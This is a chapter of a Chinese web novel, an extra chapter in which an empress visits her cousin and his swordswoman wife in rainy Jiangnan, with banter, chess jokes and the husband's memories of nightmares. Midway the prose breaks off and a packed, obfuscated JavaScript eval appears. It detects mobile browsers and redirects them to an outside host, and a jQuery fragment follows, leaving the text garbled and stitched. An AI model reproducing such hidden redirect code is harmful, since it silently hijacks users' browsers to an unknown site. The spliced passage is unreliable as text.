94. 番外7:漫游(下)
作品:《刀惊春山月》 燕玉书抵达的时候,天色不巧,雾蒙蒙一片,下起了小雨。
于是远道而来的帝王只能暂且歇了去拜访的心,转而绕道,在百结对过地址之后,燕玉书下了马车,在一堆人的簇拥下,轻轻敲了敲月寻风的小院门,不大熟练地喊:
“表哥!寻风!你们在家么——”
她今日穿着一身青色的衣裳,与江南烟雨的朦胧情调正合适。只不过,这么些年过去,御极天下这么些年,哪怕再装作平易近人,却依旧与整个江南带这些格格不入的冷肃。
可这一切却在月寻风打开门的一瞬间烟消云散了。
这么些年未见,月寻风依旧轻灵自在,就好似无忧无虑,自由翱翔于苍天的鹰隼。
于是燕玉书微微愣神,旋即下意识露出一个温柔的微笑。在烟雨朦朦,小雨淅淅沥沥的清脆声响里,年轻的帝王轻声道:
“好久不见。”
是好久没见了。
久到扶光都已经抽条拔高了许多,不再是燕玉书记忆里,不经意瞥到的,瘦小的,躲藏在月寻风身后沉默的小姑娘。现下,扶光同正常的孩子没有任何区别,只是安静了些,却也看得出一切都在往好的方向发展。
“本来今天我打算再出去买花的……可惜*天公不作美,不然的话,我也能给你簪花看看了。”
月寻风一边撑着伞,一边在燕玉书耳边念叨着。她的声音轻快,一下子让燕玉书忘记了批改奏折带来的劳累,笑着道:
“那明天要是晴好,喊上表哥,我们一块出门去看看。”
月寻风忍俊不禁:
“我本来也是这么想的,今天好不容易撺掇覆雪出门玩,可惜这么一下,出门是不可能的了。不过小院风景不错,做一些书本里的风雅事也未尝不可。”
燕玉书听着这话,颇有些好奇道:
“什么风雅事?”
月寻风得意一笑,轻巧道:
“闲敲棋子,如何?”
燕玉书也忍不住笑了出来,无奈回应:
“别了吧,我可还记得你不大擅长下棋,上回和表哥对弈棋子,活脱脱一个臭棋篓子。”
月寻风现下腾不出手,只能口头抗议:
“冤枉啊陛下!你也知道我所有规则都是现学的……覆雪下了那么些年棋,要是下不过我,那简直太可怕了。”
燕玉书于是温柔一笑:“那今个儿你是想同我下棋了?”
月寻风飒然一笑,一幅老神在在的模样:
“自然不是我同你下棋。这么高深玄妙的事情,还是留给你和覆雪去厮杀吧。”
开玩笑,她一个棋艺初入门的家伙,说不准连门口棋馆的幼童都下不赢,更遑论去和这两个心黑的家伙下,那可以说得上勇气可嘉,不知什么时候就被坑得什么都不剩下。
“我可不一定下的赢表哥,他毕竟练了那么些年。”
燕玉书有些无奈地站在廊下,看着抖了抖雨水的月寻风,那么说道。
小院子里塞不下跟着女帝来的那一堆侍从,因为除了百结,其他人都由领头的飞锦卫首领去安排住处了。
至于放女帝一个人在这个小院子里,万一遇到危险……
那可能危险的是来找女帝的那个人。
江湖第一刀客只是隐退了,不是死了,若真有人敢在她眼皮子底下袭击她的友人,恐怕没人能全身而退。
在场那么多侍从加起来,也未必敌得过一个月寻风,与其当心女帝的安全,不若赶紧把整个地方的情报探寻一遍,明日好整理完毕直接送到女帝御案上。
于是燕玉书先去了客房,在那儿把自己头上过于庄重的那一头珠翠卸下。又让百结给她玩了个少女时期常梳的发髻,方才闲闲的把一支玉钗并几朵绒花簪到发上。
这么一打扮,别说是百结,就连燕玉书看着镜中的自己,都不免恍惚一瞬。
可只不过几瞬间,她就已经回过神。
过去……过去没有什么可留念的。
她的过去如履薄冰,战战兢兢,什么都不曾拥有,什么都不曾保护。只有当她踏上这条荆棘之路,拥有权力,拥有一切之后,才能保护自己想保护的人。
于是燕玉书微笑起来,不复从前的柔软清丽,哪怕是笑容,也带着几分冷淡的疏离。
可月寻风和裴覆雪的声音传来之时,她却一下露出了最开始的,真心实意的笑容来:
“玉娘!今晚想吃什么?你哥要下厨——快来点菜!”
“舟车劳顿了这么久,玉娘要不要休息会儿?”
一前一后两道声音传来,燕玉书起身打开门,温声道:
“没事的,也不算太累,我在马车上休息过了。”
她这么说着,看了裴覆雪一眼,打趣道:
“我还以为你会喊我‘陛下’呢,先前做什么都一副公事公办保持距离的模样,我还以为你不认为我是你妹妹呢。”
顶着月寻风和燕玉书打趣视线的裴覆雪无奈叹了口气,倒是没有了冷漠的模样,反而多了几分平易近人的亲和。看来这么多年,他内心的寒冰已经被融化尽,倒是显露出几分温柔来:
“你知晓的……京城人多眼杂,指不定哪日就会把消息泄露出去。而在此地,便没有那么多顾虑了。”
裴覆雪解释着,而燕玉书摆了摆手:
“好了好了,我当然知晓你的用意。”
燕玉书笑着弯起了眸,同月寻风对视一眼,双方终于笑了出声:
“只是你这么难能坦诚一次,却让我输了赌局……表哥,我都要以为是你们夫妻合起伙来骗我了。”
裴覆雪无奈叹了口气,询问道:
“你们赌了什么?”
月寻风得意洋洋道:
“不多不少,一些有关于崔家三郎小时候的趣事罢了。”
裴覆雪猛地看向燕玉书,顿了顿才询问道:
“你是怎么知道的?”
燕玉书故弄玄虚道:
“不告诉你。”
其实也不用费多大力气。
毕竟燕玉书小的时候,崔卿仪就常常同她讲崔远锦的各种故事。虽然时间过去太久,她已不记得多少,但所幸她的好记性还是为她留下了几件可供讲述的见闻。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161185|180642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
裴覆雪便不再说什么,像是放平了心态之后,已经不再做无谓挣扎的模样。
毕竟他当年也没做什么……只是喜欢上房揭瓦,跑马原野罢了。
少年最是不知愁,骑马倚斜桥,落花踏尽,眠醉春风。
那个时候的崔远锦,那个最是鲜活自在的崔远锦,已然在记忆里渐渐褪色的崔远锦,几乎就像是梦一样了。
在许许多多午夜梦回之时,裴覆雪满身冷汗地从梦里醒来,脑子里只有一个问题——
崔远锦,真的存在过吗?
那个再肆意不过的少年是否只是幻觉,又或者其实他早就冻毙在了那场大雪里,现下所做的一切,都不过是临死前虚无的幻梦?
可每每他回不过神之时,月寻风总是会温柔地抱住裴覆雪,像是在这一瞬间同他心灵相通,温声道:
“不怕不怕,我在呢。”
短短的一句话,可暖意却随着对方的手,一直传递到裴覆雪心里。
于是一直在恐惧的裴覆雪忽的安静下来,低低道:
“没事……我已经从梦中醒来。”
月寻风困得迷迷糊糊,却仍下意识安抚:
“没事,你要是难受的话,对着我哭也不要紧。”
裴覆雪被这话逗得一乐,低声道:
“旁人会说我这么大年纪还爱哭的。”
月寻风张牙舞爪配合着他的话语:
“谁要是敢嘲笑你,我就直接去把他们打哭,这下你也可以笑他们了。”
裴覆雪这下是真的憋不住笑了。
他当然知晓月寻风不会真的去打人,可是心底的温暖却在这一瞬间满盈。他垂眸看着迷迷糊糊又要睡过去的月寻风,把声音放轻再放轻:
“睡吧……我没事的。”
他伸出手,轻轻拍着月寻风的后背,感受着那温暖的温度,几乎有些不敢相信。可同时,他又无比确定——
他已经从噩梦中醒来了。
等裴覆雪思绪回笼时,燕玉书已经和月寻风兴致勃勃地说了一会儿子话了。两个姑娘凑在一处说的不亦乐乎,等提到什么新奇话题时,月寻风还会比划起来。
裴覆雪听了一耳朵,片刻后默默走开了。
俗话说得好,京城的奇葩很多,恰好,月寻风和裴覆雪游历这么些年,同时也遇到了许许多多离谱的事情,两方一凑到一起,就一拍即合。
裴覆雪没说什么,只是默默地去给两位端来了茶水,全程就像是一个沉默寡言的美丽雕像。
月寻风看了看裴覆雪,轻声道:
“覆雪,你不来听听么?”
裴覆雪笑了起来,婉拒了月寻风。毕竟,她们两个难得那么快乐松懈,就像是这个年纪该有的放松模样,他还是不上前打断了。
而且……只是看着也很好。
他的亲人,他的爱人,如今都在身侧,他过去失去的一切,在某一瞬间,终于被命运垂怜,得以再一次重获这种平凡的幸福。
烟雨朦朦,仍在下的小雨在檐下缀成玉珠,裴覆雪看了眼天气,心想:
天总会晴的。